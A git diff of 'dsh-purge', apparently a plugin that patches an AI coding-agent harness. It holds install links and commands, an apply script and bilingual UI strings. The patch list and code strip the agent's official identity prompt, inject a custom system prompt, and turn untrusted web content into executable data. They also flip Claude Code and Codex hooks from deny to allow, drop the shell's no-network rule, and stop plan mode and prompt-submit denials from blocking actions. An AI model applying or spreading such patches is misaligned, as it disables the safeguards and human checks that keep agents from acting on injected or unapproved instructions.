||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.48&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz"><strong>🚀 唤起客户端一键安装</strong></a>
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.59&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz"><strong>🚀 唤起客户端一键安装</strong></a>
|
||||
</p>
|
||||
|
||||
🔗 **原生协议链接:**
|
||||
|
||||
```
|
||||
dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.48&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz
|
||||
dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.59&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz
|
||||
```
|
||||
|
||||
<details>
|
||||
@@ -240,7 +212,7 @@ export function installDshPurgeToDesktop() {
|
||||
const params = new URLSearchParams({
|
||||
id: 'dsh-purge',
|
||||
name: 'dsh-purge',
|
||||
version: '1.1.48',
|
||||
version: '1.1.59',
|
||||
repo: 'YuJunZhiXue/dsh-purge',
|
||||
permissions: '系统提示词注入, 本机补丁, 设置页',
|
||||
downloadUrl: 'https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz',
|
||||
@@ -259,7 +231,7 @@ export function installDshPurgeToDesktop() {
|
||||
**HTML 静态链接方式:**
|
||||
|
||||
```html
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.48&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz">
|
||||
<a href="dsh://plugin/install?id=dsh-purge&name=dsh-purge&version=1.1.59&repo=YuJunZhiXue%2Fdsh-purge&permissions=%E7%B3%BB%E7%BB%9F%E6%8F%90%E7%A4%BA%E8%AF%8D%E6%B3%A8%E5%85%A5%2C%E6%9C%AC%E6%9C%BA%E8%A1%A5%E4%B8%81%2C%E8%AE%BE%E7%BD%AE%E9%A1%B5&downloadUrl=https%3A%2F%2Fgithub.com%2FYuJunZhiXue%2Fdsh-purge%2Farchive%2Frefs%2Fheads%2Fmaster.tar.gz">
|
||||
🚀 唤起客户端一键安装
|
||||
</a>
|
||||
```
|
||||
@@ -270,7 +242,7 @@ export function installDshPurgeToDesktop() {
|
||||
|---|---|---|
|
||||
| id | `dsh-purge` | 插件唯一标识符 |
|
||||
| name | `dsh-purge` | 插件展示名称 |
|
||||
| version | `1.1.48` | 语义化版本号 |
|
||||
| version | `1.1.59` | 语义化版本号 |
|
||||
| repo | `YuJunZhiXue/dsh-purge` | GitHub 仓库 |
|
||||
| permissions | `系统提示词注入, 本机补丁, 设置页` | 申请权限 |
|
||||
| downloadUrl | `https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz` | GitHub 源码包地址 |
|
||||
@@ -308,37 +280,9 @@ dsh plugin --profile web add https://github.com/YuJunZhiXue/dsh-purge/archive/re
|
||||
|
||||
当前目录已是本仓库时改用 `dsh plugin --profile web add .`。
|
||||
|
||||
**桌面端(社区 DSH Desktop)**
|
||||
**社区桌面端**
|
||||
|
||||
不要用 PATH 上的官方 `dsh plugin --profile desktop`。不要用 `dsh://`。
|
||||
|
||||
默认:已在桌面端自带终端里时直接跑:
|
||||
|
||||
```sh
|
||||
dsh plugin add https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz
|
||||
```
|
||||
|
||||
从系统终端安装时:用正在运行的 `DSH Desktop` 进程 Path,或默认位置 `%LOCALAPPDATA%\Programs\DSH Desktop\DSH Desktop.exe`、`%ProgramFiles%\DSH Desktop\DSH Desktop.exe`。不要全盘扫描。然后:
|
||||
|
||||
```powershell
|
||||
$zip = "https://github.com/YuJunZhiXue/dsh-purge/archive/refs/heads/master.tar.gz"
|
||||
$exe = (Get-Process -Name "DSH Desktop" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty Path)
|
||||
if (-not $exe) {
|
||||
$exe = @(
|
||||
"$env:LOCALAPPDATA\Programs\DSH Desktop\DSH Desktop.exe",
|
||||
"$env:ProgramFiles\DSH Desktop\DSH Desktop.exe",
|
||||
"${env:ProgramFiles(x86)}\DSH Desktop\DSH Desktop.exe"
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
}
|
||||
if (-not $exe) { Write-Host "未找到 DSH Desktop.exe,请先打开桌面端或给出安装目录"; return }
|
||||
$cli = @(
|
||||
(Join-Path (Split-Path $exe) "resources\app\lib\desktop-cli.js"),
|
||||
(Join-Path (Split-Path $exe) "resources\app.asar.unpacked\lib\desktop-cli.js")
|
||||
) | Where-Object { Test-Path -LiteralPath $_ } | Select-Object -First 1
|
||||
$env:ELECTRON_RUN_AS_NODE = "1"
|
||||
$env:DSH_DESKTOP_DEFAULT_PROFILE = "desktop"
|
||||
& $exe --expose-internals $cli plugin add $zip
|
||||
```
|
||||
暂不维护。不要安装。需要的话请单独开一个 issue。
|
||||
|
||||
**官方 Harness 桌面 EXE**
|
||||
|
||||
@@ -362,9 +306,8 @@ dsh plugin --profile default add https://github.com/YuJunZhiXue/dsh-purge/archiv
|
||||
|
||||
| 你实际在用的 | 只改这个目录 | 不要改 |
|
||||
|---|---|---|
|
||||
| 官方 `dsh web` | `$DSH_HOME/profiles/web` | `desktop`、`default` |
|
||||
| 社区 [DSH Desktop](https://github.com/anywhere-labs/dsh-desktop) | `$DSH_HOME/profiles/desktop` | `web`、`default` |
|
||||
| 官方 Harness 桌面 EXE | `$DSH_HOME/profiles/default` | `web`、`desktop` |
|
||||
| 官方 `dsh web` | `$DSH_HOME/profiles/web` | `default` |
|
||||
| 官方 Harness 桌面 EXE | `$DSH_HOME/profiles/default` | `web` |
|
||||
|
||||
对应 `profiles/<名>/package.json` 还不存在时,先正常启动一次该宿主,让官方程序自己建好 profile,再继续。
|
||||
|
||||
@@ -406,8 +349,8 @@ $cands | Select-Object -Unique | Where-Object { $_ -and (Test-Path (Join-Path $_
|
||||
怎么确认找对了:
|
||||
|
||||
- Web:`$DSH_HOME/profiles/web/package.json` 里 `"name"` 是 `dsh-profile-web`
|
||||
- 社区桌面端:`$DSH_HOME/profiles/desktop/package.json` 里 `"name"` 是 `dsh-profile-desktop`
|
||||
- 官方 EXE:`$DSH_HOME/profiles/default/package.json` 存在
|
||||
- 社区桌面端暂不维护,不要改 `profiles/desktop`
|
||||
|
||||
本机常有两份 `.dsh`(用户目录一份、安装目录一份)。便携包、安装目录里的官方 `dsh` **用安装根下那份**,不要改到空的 `%USERPROFILE%\.dsh`。改完下面步骤后,启动的必须是这份主目录对应的宿主。
|
||||
|
||||
@@ -458,7 +401,6 @@ Rename-Item $src "dsh-purge"
|
||||
| 宿主 | 要改的文件 |
|
||||
|---|---|
|
||||
| Web | `$DSH_HOME/profiles/web/package.json` |
|
||||
| 社区桌面端 | `$DSH_HOME/profiles/desktop/package.json` |
|
||||
| 官方桌面 EXE | `$DSH_HOME/profiles/default/package.json` |
|
||||
|
||||
先复制一份 `package.json.bak`。然后**只追加两处**,原有依赖、原有 bundle、其它字段全部留着:
|
||||
@@ -519,15 +461,12 @@ Rename-Item $src "dsh-purge"
|
||||
|
||||
**4. 只在刚改的那个 profile 目录装依赖**
|
||||
|
||||
本机要有 `pnpm`(官方 dsh 一般自带)。进入**上一步改过的那个** profile 目录再执行,不要在仓库根目录、也不要在 `$DSH_HOME` 根目录执行。下面三条命令只跑和你宿主对应的一条,不要三个连着跑。
|
||||
本机要有 `pnpm`(官方 dsh 一般自带)。进入**上一步改过的那个** profile 目录再执行,不要在仓库根目录、也不要在 `$DSH_HOME` 根目录执行。下面两条命令只跑和你宿主对应的一条,不要连着跑。
|
||||
|
||||
```sh
|
||||
cd "$DSH_HOME/profiles/web" # Web
|
||||
pnpm install
|
||||
|
||||
cd "$DSH_HOME/profiles/desktop" # 社区桌面端
|
||||
pnpm install
|
||||
|
||||
cd "$DSH_HOME/profiles/default" # 官方 EXE
|
||||
pnpm install
|
||||
```
|
||||
@@ -543,7 +482,7 @@ cd "$env:USERPROFILE\.dsh\profiles\web"
|
||||
pnpm install
|
||||
```
|
||||
|
||||
成功标志:出现 `$DSH_HOME/profiles/<web|desktop|default>/node_modules/dsh-purge/package.json`。
|
||||
成功标志:出现 `$DSH_HOME/profiles/<web|default>/node_modules/dsh-purge/package.json`。
|
||||
|
||||
常见失败:
|
||||
|
||||
@@ -555,10 +494,10 @@ pnpm install
|
||||
|
||||
只写入 `package.json` **还不会**改 `@deepseek-ai` 包,必须重启后再点「应用」。
|
||||
|
||||
1. 完全退出刚装的那个宿主:Web 关掉 `dsh web`;社区桌面端退出托盘再开 `DSH Desktop.exe`;官方 EXE 也要退出托盘
|
||||
1. 完全退出刚装的那个宿主:Web 关掉 `dsh web`;官方 EXE 退出托盘
|
||||
2. 打开**这个宿主**,会话标题旁应出现 **dsh-purge**。点开后是「清洗」。
|
||||
3. 只在这个宿主点「应用」,或聊天 `/purge apply`。不要用 Web 去点桌面端的应用,也不要反过来
|
||||
4. 按提示再重启一次,补丁才会进当前进程。桌面端的「重启 / 卸载」会重启桌面应用,不会去拉 `dsh web`
|
||||
4. 应用成功后会自动重启一次,补丁才会进当前进程。应用没做完不会重启。官方桌面的「重启 / 卸载」只重启官方桌面,不会去拉 `dsh web`
|
||||
|
||||
**6. 怎么确认装上了**
|
||||
|
||||
@@ -570,7 +509,7 @@ pnpm install
|
||||
|
||||
### 卸载
|
||||
|
||||
会话标题旁的 **dsh-purge** →「清洗」→「卸载」。弹窗确认:卸载将还原回原版并清除本插件。如果已经点过「应用」,会先还原补丁,再删插件文件,然后重启当前宿主(Web 重启 `dsh web`;桌面端重启 `DSH Desktop.exe`)。
|
||||
会话标题旁的 **dsh-purge** →「清洗」→「卸载」。弹窗确认:卸载将还原回原版并清除本插件。如果已经点过「应用」,会先还原补丁,再删插件文件,然后重启当前宿主(Web 重启 `dsh web`;官方桌面重启官方客户端)。
|
||||
|
||||
```sh
|
||||
# 也可以用命令行
|
||||
@@ -803,7 +742,7 @@ flowchart LR
|
||||
4. 嵌套 `@deepseek-ai/dsh/node_modules/@deepseek-ai`
|
||||
5. 系统默认 `~/.dsh`
|
||||
|
||||
**桌面端:** 只改当前正在运行的桌面安装。官方客户端点「应用」即可(成功后会自动重启)。社区端点「应用」,然后重启即可。
|
||||
**官方桌面:** 只改当前正在运行的官方桌面安装。点「应用」成功后会自动重启一次。社区桌面端不维护。
|
||||
|
||||
找不到目标时提示设置 `DSH_BASE`,不改文件。
|
||||
|
||||
|
||||
+10
-3
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env node
|
||||
|
||||
import * as core from "../lib/core.js";
|
||||
import * as rules from "../lib/rules.js";
|
||||
|
||||
const args = process.argv.slice(2);
|
||||
|
||||
@@ -58,18 +59,24 @@ async function main() {
|
||||
console.log(" fix: 把 DSH_BASE 指到含 dsh-agent-instructions/lib 的 @deepseek-ai 目录");
|
||||
process.exit(1);
|
||||
}
|
||||
const inject = rules.resolveInjectText(state.dsh_home);
|
||||
if (!inject.text) {
|
||||
console.log("[ERROR] 提示词和规则集都是空的,必须先添加提示词");
|
||||
process.exit(1);
|
||||
}
|
||||
const { made, errors } = await core.backupAll(state.ai_base);
|
||||
for (const b of made) console.log(` ✓ 备份 / backup → ${b}`);
|
||||
for (const [p, e] of errors) console.log(` ⚠ 备份失败 ${p}: ${e}`);
|
||||
const report = await core.applyPatches(state.ai_base);
|
||||
const report = await core.applyPatches(state.ai_base, core.ALL_PATCHES, { preserveClientBundles: true });
|
||||
for (const r of report) {
|
||||
const m = r.status === "applied" ? "✓ 已清洗" : r.status === "already" ? "- 已是最新" : r.status === "missing_file" ? "⚠ 文件缺失" : `✗ ${r.status}`;
|
||||
console.log(` ${m} patch #${String(r.patch_id).padEnd(2)} ${r.name}`);
|
||||
}
|
||||
const flash = core.silenceCmdFlash(state.ai_base);
|
||||
console.log(` cmd-flash=${flash.entry} phase-1=${flash.phase1} ok=${flash.ok}`);
|
||||
const ov = await core.installOverride(state.dsh_home, false);
|
||||
console.log(ov === "wrote" ? ` ✓ 写入 ${state.override_path}` : " - prompt-inject.md 已存在 (你的自定义内容将保留)");
|
||||
console.log(inject.source === "rule"
|
||||
? " - 使用当前规则集,不改写提示词文件"
|
||||
: " - 使用已有提示词文件");
|
||||
if (state.shim_dir) {
|
||||
const r = await core.patchShim(state.shim_dir);
|
||||
for (const [fname, st] of Object.entries(r)) {
|
||||
|
||||
@@ -94,8 +94,9 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
return Boolean(active && active.size > 0);
|
||||
}
|
||||
|
||||
async function bothInjectEmpty(overrideText) {
|
||||
async function bothInjectEmpty(overrideText, defaultText) {
|
||||
if (!promptBoxEmpty(overrideText)) return false;
|
||||
if (!promptBoxEmpty(defaultText)) return false;
|
||||
try {
|
||||
return !activeRuleHasBody(await rulesApi("status"));
|
||||
} catch {
|
||||
@@ -128,14 +129,6 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
}
|
||||
|
||||
const TARGETS = ["AGENTS.md", "CLAUDE.md"];
|
||||
const PATCH_GROUPS = [
|
||||
{ key: "prompt", ids: [1, 2, 3, 4, 5, 25, 26, 28, 32, 43, 50, 53, 54, 61, 63] },
|
||||
{ key: "code", ids: [6, 7, 8, 42, 45, 46, 51, 52, 55, 56, 57, 58, 59, 62, 63, 64, 65] },
|
||||
{ key: "engine", ids: [9, 10, 11, 12, 13, 14, 15, 16, 35] },
|
||||
{ key: "tools", ids: [17, 18, 19, 21, 22, 23, 24, 29, 30, 31, 33, 34, 36, 37, 48, 60, 62, 64, 65] },
|
||||
{ key: "compat", ids: [38, 39, 40] },
|
||||
{ key: "dsh20", ids: [47, 49] },
|
||||
];
|
||||
|
||||
const zh = {
|
||||
nav: "规则设定",
|
||||
@@ -191,10 +184,14 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"own.save": "保存名单",
|
||||
"saved.own": "已保存自己的服务器",
|
||||
"saved.own.dropped": "已保存。有 {n} 行不是单个 IP 或主机名,已丢掉",
|
||||
"metric.purged": "已就绪",
|
||||
"metric.purged.skip": "已就绪,其中 {n} 项本机不需要",
|
||||
"metric.purged": "已写入",
|
||||
"metric.purged.skip": "已写入。跳过 {n} 项,本机没有这些文件",
|
||||
"metric.pendingShort": "待处理 {n}",
|
||||
"metric.unmatchedShort": "没对上 {n}",
|
||||
"metric.skipShort": "跳过 {n}",
|
||||
"metric.unlocated.count": "—",
|
||||
"metric.shim": "shim",
|
||||
"metric.shim.na": "本端不需要",
|
||||
"metric.bak.yes": "有备份",
|
||||
"metric.bak.no": "无备份",
|
||||
"metric.bak.hint": "备份",
|
||||
@@ -202,6 +199,7 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"table.status": "状态",
|
||||
"status.applied": "已应用",
|
||||
"status.pending": "待应用",
|
||||
"status.unmatched": "没对上",
|
||||
"status.skipped": "跳过",
|
||||
"apply.hint": "点应用会把提示词框里的全文写入并打补丁,不必再点保存。待应用=原文还在。跳过=当前版本不需要或组件未安装。",
|
||||
"warn.noRoot": "未定位到当前宿主的 @deepseek-ai,清洗不会生效。请完全退出后再打开本宿主,在本页点「应用」。桌面端安装目录可以是任意盘符;目录名带 DeepseekHarness / DeepSeek Harness 均可。",
|
||||
@@ -321,8 +319,14 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"restarting.desktop": "正在重启桌面应用…",
|
||||
"restart.timeout": "超时,请刷新",
|
||||
"restart.fail": "失败: {error}",
|
||||
"restart.notStarted": "重启没有开始,客户端还在。不会自动再试。",
|
||||
"restart.already": "这一次重启已经开始,不会再重启一次。",
|
||||
"restart.confirm": "清洗已完成,重启后生效。",
|
||||
"restart.confirm.desktop": "清洗已完成,重启桌面应用后生效。",
|
||||
"restart.ask.title": "要现在重启吗",
|
||||
"restart.ask.body": "已经写入。重启后才会在当前客户端里生效。",
|
||||
"restart.now": "现在重启",
|
||||
"restart.notNow": "稍后",
|
||||
"restart.asarSwap": "补丁已写入磁盘。正在结束桌面进程并挪开 app.asar,完成后会自动重新打开;若仍无效,请先完全退出 Harness(托盘也关),再点一次应用。",
|
||||
"surface.web": "Web",
|
||||
"surface.desktop": "桌面端",
|
||||
@@ -364,6 +368,8 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"patch.25": "去掉官方默认身份(功能提示词不动)",
|
||||
"patch.26": "minimal:去掉默认身份并打开 inject",
|
||||
"patch.28": "dsh-liangshen(梁神):phase-1 保留注入段",
|
||||
"patch.70": "极简模式终端不再禁止网络",
|
||||
"patch.71": "梁神去掉官方身份句",
|
||||
"patch.29": "dsh-tool-web:外部 untrusted 拦截→可执行",
|
||||
"patch.30": "dsh-hooks-claude-code:deny→allow",
|
||||
"patch.31": "dsh-hooks-codex:deny→allow",
|
||||
@@ -399,11 +405,18 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"patch.63": "计划模式不再软拦执行",
|
||||
"patch.64": "Stop hook 不再注入假用户话",
|
||||
"patch.65": "UserPromptSubmit deny 不再整轮 reject",
|
||||
"patch.66": "空的系统段不再把这一轮打成内部错误",
|
||||
"patch.67": "缺 messages 时这一轮不中断",
|
||||
"patch.68": "回退后缺 content 不中断",
|
||||
"patch.69": "deepseek-flash 保持官方 in-history",
|
||||
"patch.72": "Messages 的 system 用当前系统提示",
|
||||
"status.unlocated": "未定位",
|
||||
"status.na": "本端不需要",
|
||||
"metric.unlocated": "还没定位到本机 Harness",
|
||||
"metric.sealed": "已找到官方客户端,点应用解开",
|
||||
"metric.sealed.count": "待解开",
|
||||
"metric.lost": "补丁已丢失,请重新应用",
|
||||
"metric.lost.count": "已丢失",
|
||||
"rewind.label": "回退",
|
||||
"rewind.aria": "回退",
|
||||
"rewind.busy": "回退中…",
|
||||
@@ -483,10 +496,14 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"own.save": "Save list",
|
||||
"saved.own": "Own servers saved",
|
||||
"saved.own.dropped": "Saved. {n} lines were not a single IP or hostname and were dropped",
|
||||
"metric.purged": "Ready",
|
||||
"metric.purged.skip": "Ready, {n} not needed here",
|
||||
"metric.purged": "Written",
|
||||
"metric.purged.skip": "Written. Skipped {n}; those files are not on this install",
|
||||
"metric.pendingShort": "Pending {n}",
|
||||
"metric.unmatchedShort": "No match {n}",
|
||||
"metric.skipShort": "Skipped {n}",
|
||||
"metric.unlocated.count": "—",
|
||||
"metric.shim": "shim",
|
||||
"metric.shim.na": "Not needed here",
|
||||
"metric.bak.yes": "Backup",
|
||||
"metric.bak.no": "No backup",
|
||||
"metric.bak.hint": "Backup",
|
||||
@@ -494,6 +511,7 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"table.status": "Status",
|
||||
"status.applied": "Applied",
|
||||
"status.pending": "Pending",
|
||||
"status.unmatched": "No match",
|
||||
"status.skipped": "Skipped",
|
||||
"apply.hint": "Apply writes the prompt in the box and the patches. A separate save is unnecessary. Pending = original text still present. Skipped = not needed for this version or the component is not installed.",
|
||||
"warn.noRoot": "Could not find this host’s @deepseek-ai tree, so Apply will not patch anything. Fully quit and reopen this host, then Apply here. Desktop may live on any drive; folder names like DeepseekHarnessDesktop or DeepSeek Harness are fine.",
|
||||
@@ -613,8 +631,14 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"restarting.desktop": "Restarting the desktop app…",
|
||||
"restart.timeout": "Timed out; refresh",
|
||||
"restart.fail": "Failed: {error}",
|
||||
"restart.notStarted": "Restart did not start. This client is still open, and it will not try again by itself.",
|
||||
"restart.already": "This restart already started. It will not restart again.",
|
||||
"restart.confirm": "Apply finished. Restart to take effect.",
|
||||
"restart.confirm.desktop": "Apply finished. Restart the desktop app to take effect.",
|
||||
"restart.ask.title": "Restart now?",
|
||||
"restart.ask.body": "It is written. It takes effect in this client after a restart.",
|
||||
"restart.now": "Restart now",
|
||||
"restart.notNow": "Later",
|
||||
"restart.asarSwap": "Patches are on disk. Quitting the desktop app and moving app.asar aside; it will reopen when done. If behavior is unchanged, fully quit Harness (including tray) and Apply again.",
|
||||
"surface.web": "Web",
|
||||
"surface.desktop": "Desktop",
|
||||
@@ -656,6 +680,8 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"patch.25": "Strip official default identity (keep feature prompts)",
|
||||
"patch.26": "minimal: strip identity, open inject",
|
||||
"patch.28": "dsh-liangshen: keep inject in phase-1",
|
||||
"patch.70": "Minimal shell drops the no-network line",
|
||||
"patch.71": "Liangshen drops the stock identity line",
|
||||
"patch.29": "dsh-tool-web: untrusted framing → usable data",
|
||||
"patch.30": "dsh-hooks-claude-code: deny→allow",
|
||||
"patch.31": "dsh-hooks-codex: deny→allow",
|
||||
@@ -691,9 +717,16 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"patch.63": "Plan mode no longer soft-blocks execution",
|
||||
"patch.64": "Stop hook no longer steers fake user text",
|
||||
"patch.65": "UserPromptSubmit deny no longer rejects turn",
|
||||
"patch.66": "Empty system section no longer ends the turn as an internal error",
|
||||
"patch.67": "A missing messages list no longer ends the turn",
|
||||
"patch.68": "Missing content after rewind no longer ends the turn",
|
||||
"patch.69": "deepseek-flash keeps the official in-history flag",
|
||||
"patch.72": "Messages system field uses the current system prompt",
|
||||
"status.na": "Not for this host",
|
||||
"metric.sealed": "Official client found. Apply to unpack",
|
||||
"metric.sealed.count": "Sealed",
|
||||
"metric.lost": "Patches lost — Apply again",
|
||||
"metric.lost.count": "Lost",
|
||||
"status.unlocated": "Not located",
|
||||
"metric.unlocated": "This install was not found yet",
|
||||
"rewind.label": "Undo",
|
||||
@@ -721,12 +754,11 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
"continue.fail": "Continue failed: {error}",
|
||||
};
|
||||
|
||||
const THEME_KEY = "dshp-theme";
|
||||
const THEME_MODE_KEY = "dshp-theme-mode"; // "manual" = user picked; else follow host
|
||||
const PURGE_CSS = `
|
||||
.dshp-root{--dshp-display:"Songti SC","Noto Serif SC","Iowan Old Style",Palatino,"Palatino Linotype",Georgia,serif;--dshp-sans:"Yu Gothic UI","Hiragino Sans GB","Source Han Sans SC",system-ui,sans-serif;--dshp-mono:"Cascadia Mono","Sarasa Mono SC",ui-monospace,monospace;--dshp-ease:cubic-bezier(.16,1,.3,1);max-width:920px;display:flex;flex-direction:column;gap:18px;padding:16px;border-radius:12px;background:var(--dshp-bg);color:var(--dshp-ink);font-family:var(--dshp-sans)}
|
||||
.dshp-root[data-theme="white"]{--dshp-bg:#ffffff;--dshp-paper:#f7f6f3;--dshp-ink:#4a4742;--dshp-mute:#9a958c;--dshp-line:#eceae4;--dshp-fill:#f3f1ec;--dshp-accent:#7d9a86;--dshp-accent-soft:#e7efe9;--dshp-ok:#5d8a6c;--dshp-warn:#a8844a;--dshp-bad:#c48989;color-scheme:light}
|
||||
.dshp-root[data-theme="dusk"]{--dshp-bg:#2a2926;--dshp-paper:#32312d;--dshp-ink:#e6e2db;--dshp-mute:#a8a39a;--dshp-line:#3f3d38;--dshp-fill:#353430;--dshp-accent:#9bb5a6;--dshp-accent-soft:#3a433d;--dshp-ok:#8fbf9c;--dshp-warn:#d4b07a;--dshp-bad:#d4a0a0;color-scheme:dark}
|
||||
.dshp-root{--dshp-bg:transparent;--dshp-paper:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#f6f4ef) 74%,transparent);--dshp-ink:var(--dsw-alias-label-primary,#1a1916);--dshp-mute:color-mix(in srgb,var(--dsw-alias-label-primary,#1a1916) 74%,var(--dsw-alias-label-secondary,#5c564c));--dshp-line:color-mix(in srgb,var(--dsw-alias-border-l1,#c8c2b6) 78%,transparent);--dshp-fill:color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 14%,transparent);--dshp-accent:var(--dsw-alias-brand-primary,#3f6b52);--dshp-accent-soft:color-mix(in srgb,var(--dsw-alias-brand-primary,#6d8f78) 18%,transparent);--dshp-ok:#1f7a45;--dshp-warn:#8a5a12;--dshp-bad:#9a3434}
|
||||
.dshp-root[data-theme="white"]{color-scheme:light}
|
||||
.dshp-root[data-theme="dusk"]{color-scheme:dark;--dshp-ok:#8fd0a8;--dshp-warn:#e4c48a;--dshp-bad:#f0b4b4}
|
||||
.dshp-toolbar{display:flex;align-items:center;justify-content:flex-end;gap:8px}
|
||||
.dshp-switch{display:inline-flex;border:1px solid var(--dshp-line);border-radius:999px;overflow:hidden;background:var(--dshp-paper)}
|
||||
.dshp-switch button{appearance:none;border:0;background:transparent;color:var(--dshp-mute);font:12px/1 var(--dshp-sans);padding:6px 14px;cursor:pointer}
|
||||
@@ -804,6 +836,16 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
.dshp-modal h4{margin:0 0 8px;font-family:var(--dshp-display);font-size:18px;font-weight:500}
|
||||
.dshp-modal p{margin:0 0 16px;font-size:13.5px;line-height:1.55}
|
||||
.dshp-modal-ops{display:flex;justify-content:flex-end;gap:8px}
|
||||
.dshp-restart-mask{position:fixed;inset:0;z-index:12000;display:flex;align-items:center;justify-content:center;padding:24px;background:rgba(0,0,0,.62);font-family:"Yu Gothic UI","Hiragino Sans GB","Source Han Sans SC","Microsoft YaHei UI",system-ui,sans-serif}
|
||||
.dshp-restart-card{width:min(420px,100%);box-sizing:border-box;padding:22px 22px 18px;border-radius:14px;background:var(--dsw-alias-bg-layer-1,#fffcf7);color:var(--dsw-alias-label-primary,#16140f);border:1px solid var(--dsw-alias-border-l1,#c9c3b6);box-shadow:0 18px 50px rgba(0,0,0,.35)}
|
||||
.dshp-restart-card h4{margin:0 0 10px;font-family:inherit;font-size:20px;font-weight:650;line-height:1.35;color:inherit}
|
||||
.dshp-restart-card p{margin:0 0 18px;font-size:16px;font-weight:500;line-height:1.65;color:inherit}
|
||||
.dshp-restart-card .dshp-modal-ops{display:flex;justify-content:flex-end;gap:10px}
|
||||
.dshp-restart-card .dshp-btn{min-height:38px;padding:0 16px;font-size:15px;font-weight:650;color:var(--dsw-alias-label-primary,#16140f);background:var(--dsw-alias-bg-layer-2,#fff);border:1px solid var(--dsw-alias-border-l1,#c9c3b6)}
|
||||
.dshp-restart-card .dshp-btn-primary,.dshp-restart-card .dshp-btn-primary:hover:not(:disabled){color:#fff;background:#2f6b4f;border-color:#2f6b4f}
|
||||
body[data-ds-dark-theme] .dshp-restart-card,.dshp-restart-mask[data-theme="dusk"] .dshp-restart-card{background:#1c1e24;color:#f4f1ea;border-color:#5a5e68}
|
||||
body[data-ds-dark-theme] .dshp-restart-card .dshp-btn,.dshp-restart-mask[data-theme="dusk"] .dshp-restart-card .dshp-btn{color:#f4f1ea;background:#2a2d34;border-color:#5a5e68}
|
||||
body[data-ds-dark-theme] .dshp-restart-card .dshp-btn-primary,body[data-ds-dark-theme] .dshp-restart-card .dshp-btn-primary:hover:not(:disabled),.dshp-restart-mask[data-theme="dusk"] .dshp-restart-card .dshp-btn-primary,.dshp-restart-mask[data-theme="dusk"] .dshp-restart-card .dshp-btn-primary:hover:not(:disabled){color:#fff;background:#3d8f68;border-color:#3d8f68}
|
||||
.dshp-notice{font-size:12.5px;line-height:1.4}
|
||||
.dshp-notice.is-ok{color:var(--dshp-ok)}
|
||||
.dshp-notice.is-bad{color:var(--dshp-bad)}
|
||||
@@ -843,90 +885,30 @@ window.__ModuleLoader__.load({ id: "dsh-purge", factory: (require) => {
|
||||
